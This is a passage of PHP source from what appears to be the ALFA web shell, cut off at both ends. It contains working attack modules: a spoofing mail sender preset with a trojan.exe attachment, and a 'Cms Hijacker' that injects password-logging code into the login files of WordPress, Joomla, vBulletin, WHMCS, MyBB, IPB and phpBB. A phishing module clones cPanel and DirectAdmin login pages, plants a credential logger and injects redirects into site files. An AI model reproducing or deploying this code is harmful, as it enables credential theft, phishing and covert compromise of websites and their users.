    $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mail To : ', 'inputName' => 'mail_to', 'inputValue' => 'target@fbi.gov', 'inputSize' => '60', 'placeholder' => true), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'From : ', 'inputName' => 'mail_from', 'inputValue' => 'sec@google.com', 'inputSize' => '60', 'placeholder' => true), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Subject : ', 'inputName' => 'mail_subject', 'inputValue' => 'your site hacked by me', 'inputSize' => '60'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Attach File : ', 'inputName' => 'mail_attach', 'inputValue' => $GLOBALS['cwd'] . 'trojan.exe', 'inputSize' => '60'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Count Mail : ', 'inputName' => 'count_mail', 'inputValue' => '1', 'inputSize' => '60'));
    create_table($table);
    echo "<p><div class=\"txtfont\">Message:</div></p><textarea rows=\"6\" cols=\"60\" name=\"mail_content\">Hi Dear Admin :)</textarea><p><input type=\"submit\" value=\" \" name=\"mail_send\" /></p></form></center>";
    if (isset($_POST['alfa4']) && $_POST['alfa4'] == '>>') {
        $mail_to = $_POST['alfa1'];
        $mail_from = $_POST['alfa2'];
        $mail_subject = $_POST['alfa3'];
        $mail_content = $_POST['alfa5'];
        $count_mail = (int) $_POST['alfa6'];
        $mail_attach = $_POST['alfa7'];
        if (filter_var($mail_to, FILTER_VALIDATE_EMAIL)) {
            if (!empty($mail_attach) && @is_file($mail_attach)) {
                $file = $mail_attach;
                $content = __read_file($file);
                $content = chunk_split(__ZW5jb2Rlcg($content));
                $uid = md5(uniqid(time()));
                $filename = basename($file);
                $headers = "From: " . $mail_from . " <" . $mail_from . ">\r\n";
                $headers .= "To: " . $mail_to . " ( " . $mail_to . " ) \r\n";
                $headers .= "Reply-To: " . $mail_from . "\r\n";
                $headers .= "Content-Type: multipart/mixed; boundary=\"" . $uid . "\"\r\n\r\n";
                $headers .= "MIME-Version: 1.0\r\n";
                $headers .= "X-Mailer: php\r\n";
                $mail_content = "--" . $uid . "\r\n";
                $mail_content .= "Content-type:text/plain; charset=iso-8859-1\r\n";
                $mail_content .= "Content-Transfer-Encoding: 7bit\r\n\r\n";
                $mail_content .= $mail_content . "\r\n\r\n";
                $mail_content .= "--" . $uid . "\r\n";
                $mail_content .= "Content-Type: application/octet-stream; name=\"" . $filename . "\"\r\n";
                $mail_content .= "Content-Transfer-Encoding: base64\r\n";
                $mail_content .= "Content-Disposition: attachment; filename=\"" . $filename . "\"\r\n\r\n";
                $mail_content .= $content . "\r\n\r\n";
                $mail_content .= "--" . $uid . "--";
            } else {
                $headers = "From: " . $mail_from . " ( " . $mail_from . " ) \r\n";
                $headers .= "To: " . $mail_to . " ( " . $mail_to . " ) \r\n";
                $headers .= 'Reply-To: ' . $mail_from . '' . "\r\n";
                $headers .= "Content-type: text/html; charset=utf-8\r\n";
                $headers .= "MIME-Version: 1.0\r\n";
                $headers .= "X-Mailer: php\r\n";
            }
            if (empty($count_mail) || $count_mail < 1) {
                $count_mail = 1;
            }
            if (!empty($mail_from)) {
                echo __pre();
                for ($i = 1; $i <= $count_mail; $i++) {
                    if (@mail($mail_to, $mail_subject, $mail_content, $headers)) {
                        echo "<center>Sent -> {$mail_to}<br></center>";
                    }
                }
            } else {
                __alert("Invalid Mail From !");
            }
        } else {
            __alert("Invalid Mail To !");
        }
    }
    echo "</div>";
    alfafooter();
}
function alfaziper()
{
    alfahead();
    AlfaNum(8, 9, 10);
    echo '<div class=header><p><center><p><div class="txtfont_header">| Compressor |</div></p>
<form onSubmit="g(\'ziper\',null,null,null,this.dirzip.value,this.zipfile.value,\'>>\');return false;" method="post">
<div class="txtfont">Dir/File: </div> <input type="text" name="dirzip" value="' . (!empty($_POST['alfa3']) ? htmlspecialchars($_POST['alfa3']) : htmlspecialchars($GLOBALS['cwd'])) . '" size="60"/>
<div class="txtfont">Save Dir: </div> <input type="text" name="zipfile" value="' . $GLOBALS['cwd'] . 'alfa.zip" size="60"/>
<input type="submit" value=" " name="ziper" />
</form></center></p>';
    if (isset($_POST['alfa5']) && $_POST['alfa5'] == '>>') {
        $dirzip = $_POST['alfa3'];
        $zipfile = $_POST['alfa4'];
        if ($GLOBALS['sys'] != 'unix' && _alfa_can_runCommand(true, true)) {
            alfaEx("powershell Compress-Archive -Path '" . addslashes($dirzip) . "' -DestinationPath '" . addslashes(basename($zipfile)) . "'");
            echo __pre() . '<center><p>Done -> <b><font color="green">' . $zipfile . '</font></b></p></center>';
        } elseif ($GLOBALS['sys'] == 'unix' && _alfa_can_runCommand(true, true)) {
            alfaEx("cd '" . addslashes(dirname($zipfile)) . "';zip -r '" . addslashes(basename($zipfile)) . "' '" . addslashes($dirzip) . "'");
            echo __pre() . '<center><p>Done -> <b><font color="green">' . $zipfile . '</font></b></p></center>';
        } elseif (class_exists('ZipArchive')) {
            if (__alfaziper($dirzip, $zipfile)) {
                echo __pre() . '<center><p><font color="green">Success...!<br>' . $zipfile . '</font></p></center>';
            } else {
                echo __pre() . '<center><p><font color="red">ERROR!!!...</font></p></center>';
            }
        }
    }
    echo "</div>";
    alfafooter();
}
function __alfaziper($source, $destination)
{
    if (!extension_loaded('zip') || !file_exists($source)) {
        return false;
    }
    $zip = new ZipArchive();
    if (!$zip->open($destination, ZIPARCHIVE::CREATE)) {
        return false;
    }
    $source = str_replace('\\', '/', realpath($source));
    if (is_dir($source) === true) {
        $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
        foreach ($files as $file) {
            $file = str_replace('\\', '/', $file);
            if (in_array(substr($file, strrpos($file, '/') + 1), array('.', '..'))) {
                continue;
            }
            $file = realpath($file);
            if (is_dir($file) === true) {
                $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
            } else {
                if (is_file($file) === true) {
                    $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
                }
            }
        }
    } else {
        if (is_file($source) === true) {
            $zip->addFromString(basename($source), file_get_contents($source));
        }
    }
    return $zip->close();
}
function alfadeziper()
{
    alfahead();
    AlfaNum(8, 9, 10);
    echo '<div class=header><p><center><p><div class="txtfont_header">| DeCompressor |</div></p>
<form onSubmit="g(\'deziper\',null,null,null,this.dirzip.value,this.zipfile.value,\'>>\');return false;" method="post">
<div class="txtfont">File: </div> <input type="text" name="dirzip" value="' . (!empty($_POST['alfa3']) ? htmlspecialchars($_POST['alfa3']) : htmlspecialchars($GLOBALS['cwd'])) . '" size="60"/>
<div class="txtfont">Extract To: </div> <input type="text" name="zipfile" value="' . $GLOBALS['cwd'] . '" size="60"/>
<input type="submit" value=" " name="ziper" />
</form></center></p>';
    if (isset($_POST['alfa5']) && $_POST['alfa5'] == '>>') {
        $dirzip = $_POST['alfa3'];
        $zipfile = $_POST['alfa4'];
        if (@(!is_dir($zipfile))) {
            @mkdir($zipfile, 0777, true);
        }
        $finfo = "";
        $file_type = "";
        if (function_exists('finfo_open')) {
            $finfo = @finfo_open(FILEINFO_MIME_TYPE);
            $file_type = @finfo_file($finfo, $dirzip);
            @finfo_close($finfo);
        } else {
            if ($GLOBALS['sys'] == 'unix' && _alfa_can_runCommand(true, true)) {
                $file_type = alfaEx('file -b --mime-type ' . $dirzip);
            }
        }
        if ($GLOBALS['sys'] != 'unix' && _alfa_can_runCommand(true, true)) {
            alfaEx("powershell expand-archive -path '" . addslashes($dirzip) . "' -destinationpath '" . addslashes(basename($zipfile)) . "'");
            echo __pre() . '<center><p>Done -> <b><font color="green">' . $zipfile . '</font></b></p></center>';
        } elseif ($GLOBALS['sys'] == 'unix' && !empty($file_type) && _alfa_can_runCommand(true, true) && (strlen(alfaEx('which unzip')) > 0 || strlen(alfaEx('which tar')) > 0 || strlen(alfaEx('which gunzip')) > 0)) {
            switch ($file_type) {
                case 'application/zip':
                    alfaEx("cd '" . addslashes($zipfile) . "';unzip '" . addslashes($dirzip) . "'");
                    break;
                case 'application/x-tar':
                case 'application/x-gzip':
                case 'application/x-gtar':
                    if (strstr(basename($dirzip), ".tar.gz") || strstr(basename($dirzip), ".tar")) {
                        alfaEx("cd '" . addslashes($zipfile) . "';tar xzf '" . addslashes($dirzip) . "'");
                    } else {
                        alfaEx("cd '" . addslashes($zipfile) . "';gunzip '" . addslashes($dirzip) . "'");
                    }
                    break;
            }
            echo __pre() . '<center><p>Done -> <b><font color="green">' . $zipfile . '</font> <a style="cursor:pointer;" onclick="g(\'FilesMan\',\'' . $zipfile . '\');">[ View Folder ]</a></b></p></center>';
        } elseif (class_exists('ZipArchive')) {
            $itsok = false;
            if (emtpy($file_type)) {
                $file_type = "application/zip";
            }
            switch ($file_type) {
                case 'application/zip':
                    $zip = new ZipArchive();
                    $res = $zip->open($dirzip);
                    if ($res) {
                        $zip->extractTo($zipfile);
                        $zip->close();
                        $itsok = true;
                    }
                    break;
                case 'application/x-tar':
                case 'application/x-gzip':
                case 'application/x-gtar':
                    if (strstr(basename($dirzip), ".tar.gz")) {
                        $new_file = $zipfile . '/' . basename($dirzip);
                        @copy($dirzip, $new_file);
                        $new_tar = str_replace(".tar.gz", ".tar", $new_file);
                        try {
                            $p = new PharData($new_file);
                            $p->decompress();
                            $phar = new PharData($new_tar);
                            $phar->extractTo($zipfile);
                            @unlink($new_file);
                            @unlink($new_tar);
                            $itsok = true;
                        } catch (Exception $e) {
                        }
                    } else {
                        try {
                            $phar = new PharData($dirzip);
                            $phar->extractTo($zipfile);
                            $itsok = true;
                        } catch (Exception $e) {
                        }
                    }
                    break;
            }
            if ($itsok) {
                echo __pre() . '<center><p><font color="green">Success...!<br>' . $zipfile . '</font> <a style="cursor:pointer;" onclick="g(\'FilesMan\',\'' . $zipfile . '\');">[ View Folder ]</a></p></center>';
            } else {
                echo __pre() . '<center><p><font color="red">ERROR!!!...</font></p></center>';
            }
        }
    }
    echo "</div>";
    alfafooter();
}
function alfacmshijacker()
{
    alfahead();
    AlfaNum(5, 6, 7, 8, 9, 10);
    echo "<div class=header><br>\r\n<center><div class=\"txtfont_header\">| Cms Hijacker |</div><br><br><form onSubmit=\"g('cmshijacker',null,this.cmshi.value,this.saveto.value,'>>',this.cmspath.value);return false;\" method='post'>\r\n<div class=\"txtfont\">CMS: <select style=\"width:100px;\" name=\"cmshi\">";
    $cm_array = array("vb" => "vBulletin", "wp" => "wordpress", "jom" => "joomla", "whmcs" => "whmcs", "mybb" => "mybb", "ipb" => "ipboard", "phpbb" => "phpbb");
    foreach ($cm_array as $key => $val) {
        echo '<option value="' . $key . '">' . $val . '</option>';
    }
    echo "</select>";
    echo ' Path installed cms: <input size="50" type="text" name="cmspath" placeholder="ex: /home/user/public_html/vbulletin/">
SaveTo: <input size="50" type="text" name="saveto" value="' . $GLOBALS['cwd'] . 'alfa.txt"></font>
<input type="submit" name="btn" value=" "></form></center><br>';
    $cms = $_POST['alfa1'];
    $saveto = $_POST['alfa2'];
    $cmspath = $_POST['alfa4'];
    if (!empty($cms) and !empty($saveto) and $_POST['alfa4'] and $_POST['alfa3'] == '>>') {
        echo __pre();
        alfaHijackCms($cms, $cmspath, $saveto);
    }
    echo "</div>";
    alfafooter();
}
function alfaHijackCms($cms, $cmspath, $saveto)
{
    switch ($cms) {
        case "vb":
            hijackvBulletin($cmspath, $saveto);
            break;
        case "wp":
            hijackwp($cmspath, $saveto);
            break;
        case "jom":
            hijackJoomla($cmspath, $saveto);
            break;
        case "whmcs":
            hijackWhmcs($cmspath, $saveto);
            break;
        case "mybb":
            hijackMybb($cmspath, $saveto);
            break;
        case "ipb":
            hijackIPB($cmspath, $saveto);
            break;
        case "phpbb":
            hijackPHPBB($cmspath, $saveto);
            break;
        default:
            echo "error!";
            break;
    }
}
function hijackvBulletin($path, $saveto)
{
    $code = '$alfa_username = strtolower($vbulletin->GPC["vb_login_username"]);$alfa_password = $vbulletin->GPC["vb_login_password"];$alfa_file = "{saveto_path}";$sql_query = $vbulletin->db->query_read("SELECT * FROM " . TABLE_PREFIX . "user WHERE `username`=\'" . $alfa_username . "\'");while($row = $vbulletin->db->fetch_array($sql_query)){if(strlen($alfa_password) > 1 AND strlen($alfa_username) > 1){$fp1 = @fopen($alfa_file, "a+");@fwrite($fp1, $alfa_username . \' : \' .  $alfa_password." (" . $row["email"] . ")\\n");@fclose($fp1); $f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}';
    $clearpw = 'defined(\'DISABLE_PASSWORD_CLEARING\')';
    $code = str_replace('{saveto_path}', $saveto, $code);
    $login = $path . "/login.php";
    $class = $path . "/includes/class_bootstrap.php";
    $dologin = 'do_login_redirect();';
    $evil_login = "\t" . $code . "\n\t" . $dologin;
    $evil_class = "true";
    if ((@is_file($login) and @is_writable($login)) || (@is_file($class) and @is_writable($class))) {
        $data_login = @file_get_contents($login);
        $data_class = @file_get_contents($class);
        if (strstr($data_login, $dologin) || strstr($data_class, $clearpw)) {
            $login_replace = str_replace($dologin, $evil_login, $data_login);
            $class_replace = str_replace($clearpw, $evil_class, $data_class);
            @file_put_contents($login, $login_replace);
            @file_put_contents($class, $class_replace);
            hijackOutput(0, $saveto);
        } else {
            hijackOutput(1);
        }
    } else {
        hijackOutput(1);
    }
}
function hijackwp($path, $saveto)
{
    $code = '$alfa_file="{saveto_path}";$fp = fopen($alfa_file, "a+");fwrite($fp, $_POST[\'log\']." : ".$_POST[\'pwd\']." (".($user->user_email).")\\n");fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);';
    $redirect_wp = '#if[ ]{0,}\\([ ]{0,}![ ]{0,}is_wp_error\\([ ]{0,}\\$user[ ]{0,}\\)[ ]{0,}&&[ ]{0,}![ ]{0,}\\$reauth[ ]{0,}\\)[ ]{0,}{#';
    $code = str_replace('{saveto_path}', $saveto, $code);
    $login = $path . "/wp-login.php";
    if (@is_file($login) and @is_writable($login)) {
        $data_login = @file_get_contents($login);
        if (@preg_match($redirect_wp, $data_login, $match)) {
            $evil_login = "\t" . $match[0] . "\n\t" . $code;
            $login_replace = @preg_replace($redirect_wp, $evil_login, $data_login);
            @file_put_contents($login, $login_replace);
            hijackOutput(0, $saveto);
        } else {
            hijackOutput(1);
        }
    } else {
        hijackOutput(1);
    }
}
function hijackJoomla($path, $saveto)
{
    $code = '<?php jimport(\'joomla.user.authentication\');$Alfa_auth = & JAuthentication::getInstance();$Alfa_data = array(\'username\'=>$_POST[\'username\'],\'password\'=>$_POST[\'passwd\']);$Alfa_options = array();$Alfa_response = $Alfa_auth->authenticate($Alfa_data, $Alfa_options);if($Alfa_response->status == 1){$alfa_file="{saveto_path}";$fp=@fopen($alfa_file,"a+");@fwrite($fp, $Alfa_response->username.":".$_POST[\'passwd\']." ( ".$Alfa_response->email." )\\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}?>';
    $code = str_replace('{saveto_path}', $saveto, $code);
    $comp = $path . "/administrator/components/com_login/";
    if (@is_file($comp . "/login.php")) {
        $login = $comp . "/login.php";
    } elseif (@is_file($comp . "/admin.login.php")) {
        $login = $comp . "/admin.login.php";
    } else {
        $login = '';
    }
    if (@is_file($login) and @is_writable($login) and $login != '') {
        $data_login = @file_get_contents($login);
        $evil_login = $code . "\n" . $data_login;
        @file_put_contents($login, $evil_login);
        hijackOutput(0, $saveto);
    } else {
        hijackOutput(1);
    }
}
function hijackWhmcs($path, $saveto)
{
    $code = '<?php if(isset($_POST[\'username\']) AND isset($_POST[\'password\']) AND !empty($_POST[\'username\']) AND !empty($_POST[\'password\'])){if($alfa_connect=@mysqli_connect($db_host,$db_username,$db_password,$db_name)){$alfa_file = "{saveto_path}";$alfa_uname = @$_POST[\'username\'];$alfa_pw = @$_POST[\'password\'];if(isset($_POST[\'language\'])){$alfa_q = "SELECT * FROM tbladmins WHERE `username` = \'$alfa_uname\' AND `password` = \'".md5($alfa_pw)."\'";$admin = true;}else{$alfa_q = "SELECT * FROM tblclients WHERE `email` = \'$alfa_uname\'";$admin = false;}$alfa_query = mysqli_query($alfa_connect, $alfa_q);if(mysqli_num_rows($alfa_query) > 0 ){$row = mysqli_fetch_array($alfa_query);$allow = true;if(!$admin){$__salt = explode(\':\', $row[\'password\']);$__encPW = md5($__salt[1].$_POST[\'password\']).\':\'.$__salt[1];if($row[\'password\'] == $__encPW){$allow = true;$row[\'username\'] = $row[\'email\'];}else{$allow = false;}}if($allow){$fp = @fopen($alfa_file, "a+");@fwrite($fp, $row[\'username\'] . \' : \' .  $alfa_pw." (" . $row["email"] . ") : ".($admin ? \'is_admin\' : \'is_user\')."\\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);}}}}?>';
    $code = str_replace('{saveto_path}', $saveto, $code);
    $conf = $path . "/configuration.php";
    if (@is_file($conf) and @is_writable($conf)) {
        $data_conf = @file_get_contents($conf);
        if (!strstr($data_conf, '?>')) {
            $code = '?>' . $code;
        }
        $evil_conf = $data_conf . "\n" . $code;
        @file_put_contents($conf, $evil_conf);
        hijackOutput(0, $saveto);
    } else {
        hijackOutput(1);
    }
}
function hijackMybb($path, $saveto)
{
    $code = '$alfa_q = $db->query("SELECT `email` FROM ".TABLE_PREFIX."users WHERE `username` = \'".$user[\'username\']."\'");$alfa_fetch = $db->fetch_array($alfa_q);$alfa_file = "{saveto_path}";$fp = @fopen($alfa_file, "a+");@fwrite($fp, $user[\'username\']." : ". $user[\'password\']." ( ".$alfa_fetch[\'email\']." )\\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);';
    $find = '$loginhandler->complete_login();';
    $code = str_replace('{saveto_path}', $saveto, $code);
    $login = $path . "/member.php";
    $evil_login = "\t" . $code . "\n\t" . $find;
    if (@is_file($login) and @is_writable($login)) {
        $data_login = @file_get_contents($login);
        if (strstr($data_login, $find)) {
            $login_replace = str_replace($find, $evil_login, $data_login);
            @file_put_contents($login, $login_replace);
            hijackOutput(0, $saveto);
        } else {
            hijackOutput(1);
        }
    } else {
        hijackOutput(1);
    }
}
function hijackIPB($path, $saveto)
{
    $code = '$Alfa_q = $this->DB->buildAndFetch(array(\'select\' => \'email\', \'from\' => \'members\', \'where\' => \'name="\'.$username.\'" OR email="\'.$email.\'"\'));$Alfa_file = "{saveto_path}";$fp = @fopen($Alfa_file, "a+");@fwrite($fp, $_POST[\'ips_username\'].\' : \'.$_POST[\'ips_password\'].\' ( \'.$Alfa_q[\'email\'].\' )\'."\\n");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);';
    $find = 'unset( $member[\'plainPassword\'] );';
    $code = str_replace('{saveto_path}', $saveto, $code);
    $login = $path . "/admin/sources/handlers/han_login.php";
    $evil_login = "\tunset( \$member['plainPassword'] );\n\t" . $code;
    if (@is_file($login) and @is_writable($login)) {
        $data_login = @file_get_contents($login);
        if (strstr($data_login, $find)) {
            $login_replace = str_replace($find, $evil_login, $data_login);
            @file_put_contents($login, $login_replace);
            hijackOutput(0, $saveto);
        } else {
            hijackOutput(1);
        }
    } else {
        hijackOutput(1);
    }
}
function hijackPHPBB($path, $saveto)
{
    $code = '$Alfa_u = request_var(\'username\', \'\');$Alfa_p = request_var(\'password\', \'\');if($Alfa_u != \'\' AND $Alfa_p != \'\'){$Alfa_response = $auth->login($Alfa_u,$Alfa_p);if($Alfa_response[\'status\'] == LOGIN_SUCCESS){$Alfa_file ="{saveto_path}";$fp = @fopen($Alfa_file, "a+");@fwrite($fp, $Alfa_u." : ".$Alfa_p. " ( ".$Alfa_response[\'user_row\'][\'user_email\']." )\\n");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}';
    $find = 'case \'login\':';
    $code = str_replace('{saveto_path}', $saveto, $code);
    $login = $path . "/ucp.php";
    $evil_login = "\tcase 'login':\n\t" . $code;
    if (@is_file($login) and @is_writable($login)) {
        $data_login = @file_get_contents($login);
        if (strstr($data_login, $find)) {
            $login_replace = str_replace($find, $evil_login, $data_login);
            @file_put_contents($login, $login_replace);
            hijackOutput(0, $saveto);
        } else {
            hijackOutput(1);
        }
    } else {
        hijackOutput(1);
    }
}
function hijackOutput($c = 0, $p = '')
{
    echo $c == 0 ? "<center><font color='green'>Success</font> --> path: {$p}</center>" : '<center><font color="red">Error in inject code !</font></center>';
}
function Alfa_StrSearcher($dir, $string, $ext, $e, $arr = array())
{
    if (@is_dir($dir)) {
        $files = @scandir($dir);
        foreach ($files as $key => $value) {
            $path = @realpath($dir . DIRECTORY_SEPARATOR . $value);
            if (!@is_dir($path)) {
                if ($ext != '*') {
                    $f = basename($path);
                    $f = explode('.', $f);
                    $f = end($f);
                    if ($f != $ext) {
                        continue;
                    }
                }
                if ($e == 'str') {
                    $content = @file_get_contents($path);
                    if (strpos($content, $string) !== false) {
                        echo str_replace('\\', '/', $path) . "<br>";
                    }
                } else {
                    if (strstr($value, $string)) {
                        echo str_replace('\\', '/', $path) . "<br>";
                    }
                }
                $results[] = $path;
            } elseif ($value != "." && $value != "..") {
                Alfa_StrSearcher($path, $string, $ext, $e, $results);
                $results[] = $path;
            }
        }
    }
}
function alfafakepage()
{
    alfahead();
    AlfaNum(9, 10);
    echo "<div class=header><br>\r\n\t<center><div class=\"txtfont_header\">| Host Manager Fake page |</div></center><br><br><form onSubmit=\"g('fakepage',null,this.clone_page.value,this.fake_root.value,'>>',this.logto.value,this.panel.value,this.inject_to.value,this.bind_on.value,this.count.value);return false;\" method='post'>\r\n\t<div class=\"txtfont\" style=\"position: relative;left: 50%;transform: translate(-50%);\"><div style=\"margin-bottom:6px;\"><span style=\"display: inline-block;width: 106px;\">Panel: </span><select style=\"width:100px;\" name=\"panel\">";
    $cm_array = array("cpanel" => "Cpanel", "directadmin" => "DirectAdmin");
    foreach ($cm_array as $key => $val) {
        echo '<option value="' . $key . '">' . $val . '</option>';
    }
    echo "</select></div>";
    echo '<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Clone page: </span><input size="50" type="text" name="clone_page" placeholder="eg: https://target.com:2083 | https://target.com:2222"></div>
	<div style="margin-bottom:6px;"><span>Fake page root: </span><input size="50" type="text" name="fake_root" value="' . $_SERVER["DOCUMENT_ROOT"] . '/fake_page_root/"></div>
	<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Inject to: </span><input size="50" type="text" name="inject_to" value="' . $_SERVER["DOCUMENT_ROOT"] . '/index.php"></div>
	<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Bind on: </span><input size="50" type="text" name="bind_on" placeholder="eg: ' . $_SERVER["DOCUMENT_ROOT"] . '/wp-login.php"></div>
	<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Log To: </span><input size="50" type="text" name="logto" value="' . $GLOBALS['cwd'] . 'logs.txt"></div>
	<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Count of Invalid login: </span><input size="20" type="text" name="count" value="3" style="text-align:center;"></div>
	<div style="text-align:center;"><input type="submit" name="btn" value=" "></div></div></form><br>';
    $clone_page = $_POST['alfa1'];
    $fake_root = $_POST['alfa2'];
    $logto = $_POST['alfa4'];
    $panel = $_POST['alfa5'];
    $inject_to = $_POST['alfa6'];
    $bind_on = $_POST['alfa7'];
    $count = $_POST['alfa8'];
    if (!empty($clone_page) && !empty($fake_root) && !empty($logto) && !empty($inject_to) && !empty($bind_on) && $_POST['alfa3'] == '>>') {
        echo __pre();
        $target = $clone_page;
        $curl = new AlfaCURL();
        $source_page = $curl->Send($target);
        if (!empty($source_page)) {
            $matched_form = "";
            if ($panel == "cpanel") {
                if (preg_match('#<form(.*)id="login_form"(.*)>#', $source_page, $match)) {
                    $matched_form = $match[0];
                }
            } else {
                if (preg_match('#<form(.*?)>#', $source_page, $match)) {
                    $matched_form = $match[0];
                }
            }
            if (!empty($matched_form)) {
                $fake = "";
                $pwd = str_replace($_SERVER["DOCUMENT_ROOT"], '', $fake_root);
                $uri = str_replace($_SERVER["DOCUMENT_ROOT"], '', $inject_to);
                if ($panel == "cpanel") {
                    $port = "2083";
                } else {
                    $target = str_replace(array("http://", "https://"), "", $target);
                    $port = explode(":", $target);
                    $port = $port[1];
                }
                if (substr($uri, 0, 1) == "/") {
                    $uri = substr($uri, 1);
                }
                $uri = $_SERVER["HTTP_ORIGIN"] . '/' . str_replace("index.php", "", $uri) . '?:' . $port;
                $log_url = $_SERVER["HTTP_ORIGIN"] . $pwd . '/log.php';
                if ($panel == "cpanel") {
                    $form = '<form novalidate id="login_form" action="' . $log_url . '" method="post" target="_top" style="visibility:">';
                } else {
                    $form = '<form action="' . $log_url . '" method="post">';
                }
                $fake = str_replace($matched_form, $form, $source_page);
                if (@(!is_dir($fake_root))) {
                    @mkdir($fake_root, 0777, true);
                }
                $cookie_name = "alfa_fakepage_counter" . rand(9999, 99999);
                $post_user = 'user';
                $post_pass = 'pass';
                $resp_code = 'if(empty($user)){http_response_code(400);echo json_encode(array("message" => "no_username"));}else{http_response_code(401);}';
                if ($panel != "cpanel") {
                    $post_user = 'username';
                    $post_pass = 'password';
                    $resp_code = '@header("Location: ".$_SERVER[\'HTTP_REFERER\']);';
                }
                $cpanel_log = '<?php $cook_time = time()+(86400 * 7); $user = $_POST["' . $post_user . '"];$pass = $_POST["' . $post_pass . '"];if(!empty($user) && !empty($pass)){if(!isset($_COOKIE["' . $cookie_name . '"])){@setcookie("' . $cookie_name . '", 0, $cook_time, "/");$_COOKIE["' . $cookie_name . '"]=1;}if((int)$_COOKIE["' . $cookie_name . '"]>' . $count . '){@header("Location: /");exit;}@setcookie("' . $cookie_name . '", ((int)$_COOKIE["' . $cookie_name . '"] + 1), $cook_time, "/");$fp = @fopen("' . $logto . '", "a+");@fwrite($fp, $user . " : " . $pass . "\\n");fclose($fp);sleep(3);' . $resp_code . 'exit;}?>';
                @file_put_contents($fake_root . '/log.php', $cpanel_log);
                if ($panel == "cpanel") {
                    $fake = preg_replace(array('#<link(.*)href="(.*)"(.*)>#', '#<img class="main-logo" src="(.*)"(.*)>#', '# <a(.*)id="reset_password">#'), array('<link href="' . $target . '/$2">', '<img class="main-logo" src="' . $target . '/$1" alt="logo" />', '<a href="#" id="reset_password">'), $fake);
                }
                @file_put_contents($fake_root . '/index.php', $fake);
                $inject_code = '<?php if(isset($_GET[":2083"])&&(int)$_COOKIE["' . $cookie_name . '"]<' . $count . '){@include("' . $fake_root . '/index.php");exit;}?>';
                $bind_on_code = '<?php if((int)$_COOKIE["' . $cookie_name . '"]<' . $count . '){@header("Location: ' . $uri . '");exit;}?>';
                @file_put_contents($inject_to, $inject_code . "\n" . @file_get_contents($inject_to));
                @file_put_contents($bind_on, $bind_on_code . "\n" . @file_get_contents($bind_on));
                echo "success...!";
            } else {
                echo "failed...!";
            }
        } else {
            echo "<div style='text-align:center;color:red;'>Cannot open the target...!</div>";
        }
    }
    echo "</div>";
    alfafooter();
}
function alfaarchive_manager()
{
    alfahead();
    $file = $_POST['alfa2'];
    if (!file_exists($file)) {
        $file = $GLOBALS['cwd'];
    }
    $rand_id = rand(9999, 999999);
    echo "<div class=header><center><p><div class=\"txtfont_header\">| Archive Manager |</div></p>";
    echo '<form name="srch" onSubmit="g(\'archive_manager\',null,null,this.file.value,null,null,\'>>\');return false;" method=\'post\'>
	<div class="txtfont">
	Archive file: <input size="50" id="target" type="text" name="file" value="' . $file . '">
	<input type="submit" name="btn" value=" "></div></form></center><br>';
    if ($_POST['alfa5'] == '>>') {
        echo '<hr><div style="margin-left: 12px;" archive_full="phar://' . $file . '" archive_name="' . basename($file) . '" id="archive_dir_' . $rand_id . '" class="archive_dir_holder"><span>PWD: </span><div class="archive_pwd_holder" style="display:inline-block"><a>/</a></div></div>';
        echo '<div style="padding: 10px;" id="archive_base_' . $rand_id . '">';
        __alfa_open_archive_file($file, $rand_id);
        echo "</div>";
    }
    echo "</div>";
    alfafooter();
}
function __alfa_open_archive_file($arch, $base_id = 0)
{
    try {
        $files = array();
        $dirs = array();
        $archive = new PharData($arch);
        foreach ($archive as $file) {
            $file_modify = @date('Y-m-d H:i:s', @filemtime($file->getPathname()));
            if ($file->isDir()) {
                $dirs[] = array("name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "dir", "modify" => $file_modify);
            } else {
                $file_size = @filesize($file->getPathname());
                $files[] = array("name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "file", "modify" => $file_modify, "size" => $file_size);
            }
        }
        function __alfa_open_archive_usort($a, $b)
        {
            return strcmp(strtolower($a['name']), strtolower($b['name'])) * 1;
        }
        usort($dirs, "__alfa_open_archive_usort");
        usort($files, "__alfa_open_archive_usort");
        $files = array_merge($dirs, $files);
        echo "<table width=\"100%\" class=\"main\" cellspacing=\"0\" cellpadding=\"2\"><tbody><tr><th>Name</th><th>Size</th><th>Modify</th><th>Actions</th></tr>";
        $icon = '<img class="archive-icons" src="' . findicon('..', 'dir') . '" width="30" height="30">';
        echo '<tr><th><a base_id="' . $base_id . '" class="archive-file-row" fname=".." onclick="alfaOpenArchive(this);" path="' . dirname($arch . '.php') . '">' . $icon . '<span class="archive-name archive-type-dir">| .. |</span></a><td>dir</td><td>-</td><td>-</td></tr>';
        foreach ($files as $file) {
